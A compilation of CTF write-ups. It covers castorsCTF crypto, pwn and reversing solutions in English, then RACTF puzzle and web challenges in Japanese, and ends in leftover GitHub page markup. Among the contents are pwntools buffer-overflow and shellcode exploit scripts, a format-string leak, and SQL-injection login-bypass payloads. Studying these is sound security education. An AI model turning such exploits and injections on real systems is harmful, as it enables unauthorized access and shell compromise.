`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).
## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Spentalkux:Misc:300ptsSpentalkux ??
# Solutionとんでもない面白問題文だ。 Spentalkuxでググると以下がヒットする。 [site.png](image.png) [https://pypi.org/project/spentalkux/](https://pypi.org/project/spentalkux/) 最新版を実行すると以下のようであった。 ```bash$ python __init__13.37.pyHello.Can I help you?Oh, you're looking for something to do with *that*.My creator left this behind but, I wonder what the key is? I don't know, but if I did I would say it's about 10 characters.Enjoy this.Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy... *ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6Goodbye now.That's your cue to leave, broExit stage left, palOFF YOU POP.You know what I haven't got time for thisForking and executing rm -rf.```暗号文がある。 ヴィジュネル暗号だとメンバーから教えてもらった。 [ヴィジュネル（Vigenere）暗号](https://linesegment.web.fc2.com/application/cipher/Vigenere.html)で暗号鍵Spentalkuxで復号する。 ```text暗号文：Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy... *ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6復号化：Hello, If you're reading this you've managed to find my little... *interface*. The next stage of the challenge is over at https://pastebin.com/raw/BCiT0sp6```[https://pastebin.com/raw/BCiT0sp6](https://pastebin.com/raw/BCiT0sp6)にアクセスすると謎のHexが手に入るのでファイルに書き出すとpngであることがわかる。 [Hexadecimal -> file (binary)](https://tomeko.net/online_tools/hex_to_file.php)が便利。 画像にバイナリ(01011111 01101000 01100101 01110010 01110010 01101001 01101110 01100111)が書いてあるのでASCIIにして読むと、_herringである。 red herringで注意をそらすといった意味があるのでハズレらしい。 しかしSpentalkuxには前のバージョンがあるようだ。 実行すると以下になる。 ```bash$ python __init__0.9.pyUrgh. Not you again.Fine. I'll tell you more....But, being the chaotic evil I am, I'm not giving it to you in plaintext.Enjoy this.JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIEThis is the part where you *leave*, bro.Look, if you don't get outta here soon ima run rm -rf on yaI don't want you here. GO AWAY.Leave me alone now.GOODBYE!I used to want you dead but...now I only want you gone.```ちなみにここまで、すでにチームメンバーがやっていた。 マジかしこい。 Base系の暗号化であるように見える。 Base32を試すと、Base64が出てくる。 ```textBase32 DecodeH4sIAJ89gV4A/+1ZURaEIAi8SkfQ+1/O3f7MtEBfMgz9rC/diXmIA5hSzun3HNdBbgbtVP2v/2+LowM837wFHKxZbmE9pQfsLOaiLAL8kvIk4MBma17ufHQbIJCXoWNZZKGPWB5QljvXIuXOmm0SgLixJw8HRC8Tbmz7x5eIspypaZHSWbj8cAhdjli2WUkR1sv2dZmwXhZlDnIcCl0GyrFX6fKkBEBTBsq+9uY2Ecug2Rf0xtaJlNdYJuxjP9kcd1LOW/fQXtb1sd3fSTGXFTx3UjfGFx6uJGjeIAAA```[Base64をデコードする](https://base64.guru/converter/decode/file)とgzipファイルのようだ(Base64_Decode.gz)。 展開するとASCIIでバイナリ(Base64_Decode.txt)が記述されている。 バイナリをさらにASCIIにするとまたASCIIで記述されたバイナリが出てくる(Base64_Decode2.txt)のでもう一度ASCIIにすると以下のHexが出てくる。 ```text45 61 60 49 22 41 70 5b 36 74 32 30 3a 57 70 30 65 64 60 2d 3f 53 51 47 3f 31 4e 49 28 61 40 6c 24 3e 74```HexをさらにASCIIにすると以下になる。 ```textEa`I"Ap[6t20:Wp0ed`-?SQG?1NI(a@l$>t```Base85をデコードするとflagが得られた。
## ractf{My5t3r10u5_1nt3rf4c3?} |
# Baiting:Web:200ptsChallenge instance ready at 95.216.233.106:12952. That user list had a user called loginToGetFlag. Well, what are you waiting for?
# Solutionアクセスするとログインフォームが見える。 Login [site.png](../Entrypoint/site/site.png) ソースコードからは何も得られないのでログインを試す。 `'`を入力すると以下のようなエラーが出た。 ```pythonTraceback (most recent call last): File "/srv/raro/main.py", line 132, in index cur.execute("SELECT algo FROM users WHERE username='{}'".format(sqlite3.OperationalError: unrecognized token: "'''"```usernameでSQLインジェクションを試みる。 まずは基本である`' OR 't'='t`である。 Welcome, xxslayer420 [site1.png](../Admin_Attack/site/site.png) ではこれ以外のユーザーでのログインを試みる。 ユーザー名がxxslayer420以外を指定する`' OR username!='xxslayer420`である。 Welcome, jimmyTehAdmin [site2.png](../Admin_Attack/site/flag.png) loginToGetFlagではないので、さらにNGを追加していく。 `' OR (username!='xxslayer420' AND username!='jimmyTehAdmin') --` flag(Welcome, loginToGetFlag) [flag.png](site/flag.png) loginToGetFlagでログインするとflagが出てきた。
## ractf{injectingSQLLikeNobody'sBusiness} |
# Vandalism:Web:250ptsChallenge instance ready at 95.216.233.106:24317. That admin panel was awfully bare. There must be some other page, but we've no idea where it is. Just to clarify, ractf{;)} is the greedy admins stealing all the flags, it's not the actual flag.
# Solutionアクセスするとログインフォームが見える。 Login [site1.png](../Entrypoint/site/site.png) `'`でエラーが出たので、SQLインジェクションを試みる。 `' OR 't'='t`ではxxslayer420としてログインしてしまう。 ではこれ以外のユーザーでのログインを試みる。 ユーザー名がxxslayer420以外を指定する`' OR username!='xxslayer420`である。 するとAdminでのログインが成功する。 Welcome, jimmyTehAdmin [site2.png](../Admin_Attack/site/flag.png) adminのpanelを見つければいいようだ。 X-OptionalHeaderにLocation: /__adminPortalが入っていた。 通常は302でリダイレクトしてしまうがWelcome, jimmyTehAdminページからアクセスすると以下のページに飛ぶ。 __adminPortal [site3.png](site/site3.png) ractf{;)}は違うらしい。 ソースを見てみると以下のような不思議な文字が書き込まれている。 __adminPortal(source) [site4.png](site/site4.png) よく見るとアルファベットが入っているようなので抜き出してみる。 ```bash$ cat __adminPortal.html | tr -cd "abcdefghijklmnopqrstuvwxyz0123456789{}"htmlheadmetanamecharsetvalueutf8linkhrefhttpsfontsgoogleapiscomcssfamilyanumothic400700displayswaprelstylesheetlinkrelstylesheethrefstaticfindexcsstitleogintitleheadbodydivclasscontainerprestylefontsize12pxfontfamilymonospacehisflaghasbeenvandalizednjoyreedyadminswantmoreflagsforthemselveshisisnttheflagtsjustmoreartpreh3styledisplaynoneoremipsumdolorsitametconsecteturadipiscingelituistinciduntuturnasedvehiculauncportaligulaegetleoposuerevelblanditanteiaculistiameteratnequeellentesquealiquetvelitmagnasitametconsecteturduifringillaidednonmassaauctorlaoreetmassaidplaceratsemroinneceliteurisusdignissimvestibulumeuaccumsannisiivamusvitaemaurisatmigravidaluctustiamimperdietliberoutnullavehiculaeleifendestibulumsitametipsumnisiamnecleolaciniafeugiatsemnecmolestiequamestibulumquamjustosuscipitsednisiinmolestiecondimentumestunccursussagittisnibhconvalliseuismodnisipulvinaratnconsequatnislidodioconsequatpretiumuisqueeteratinleoefficiturfaucibusellentesquevelgravidaenimsedpulvinartortorullammalesuadadignissimligulasitametdignissimtiamutexquamonecgravidarisusodioafringillaturpisportautedacrisusinloremtempussodalesuisaliquampellentesquemolestienhachabitasseplateadictumstuspendissenonrisusutloremullamcorpermalesuadaegetaliberoliquammassaloremhendreritinfeugiatsitametconsecteturquisnisiuissedligulalaoreetpretiumexutauctormassahasellusnonleoconsecteturlaciniavelitnonfermentumduiedaestsitameteroslobortisposuereegetsagittisliberohasellushendreritplaceratligulanonvenenatisraspulvinarleogravidaractf{h1dd3n1npl4n3s1ght}pharetrablandittiamluctusmieudolorvolutpatinterdumblanditarcumaximusrasvenenatissedligulaaeleifendestibulumanteipsumprimisinfaucibusorciluctusetultricesposuerecubiliauraeestibulumanteipsumprimisinfaucibusorciluctusetultricesposuerecubiliauraeestibulumidnislegetleoposueremalesuadaellentesquehabitantmorbitristiquesenectusetnetusetmalesuadafamesacturpisegestaseneansitametpretiumelitnmaximusscelerisqueodiosedelementumjustotemporeunultriceserosinlaciniaaliquamivamusmaximusfermentumenimsedconvallisedsuscipitligulasitametvelitfaucibusinterdumroinconguenullaornarepharetraconvallisnequeodiocursusdoloregetpretiumliberopurusveltortornnequearculuctusetjustosedauctorscelerisquenibhivamusacportafelisquistempormassauisquepretiumeuismodauguenonbibendumellentesqueeumetusidligulaultriciesegestasetinsapienuisquecondimentumduietpulvinarcongueuisaccumsaninterdummiquisluctusestibulumnonultricessemidsagittispurusonecconsequatestvitaetellusportanecornareauguefeugiatullah3divbodyhtml$ cat __adminPortal.html | tr -cd "abcdefghijklmnopqrstuvwxyz0123456789{}" | grep -oP "ractf{.*?}"ractf{h1dd3n1npl4n3s1ght}```flagが得られた。
## ractf{h1dd3n1npl4n3s1ght} |
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<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
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<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":247961854,"originating_url":"https://github.com/satoki/ctf_writeups/tree/master/RACTF","user_id":null}}" data-hydro-click-hmac="bebf9a5198138900255a153010ba40cf82be100deb577b593dc2fae548997307"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/satoki/ctf_writeups/refs" cache-key="v0:1584447415.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2F0b2tpL2N0Zl93cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/satoki/ctf_writeups/refs" cache-key="v0:1584447415.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2F0b2tpL2N0Zl93cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
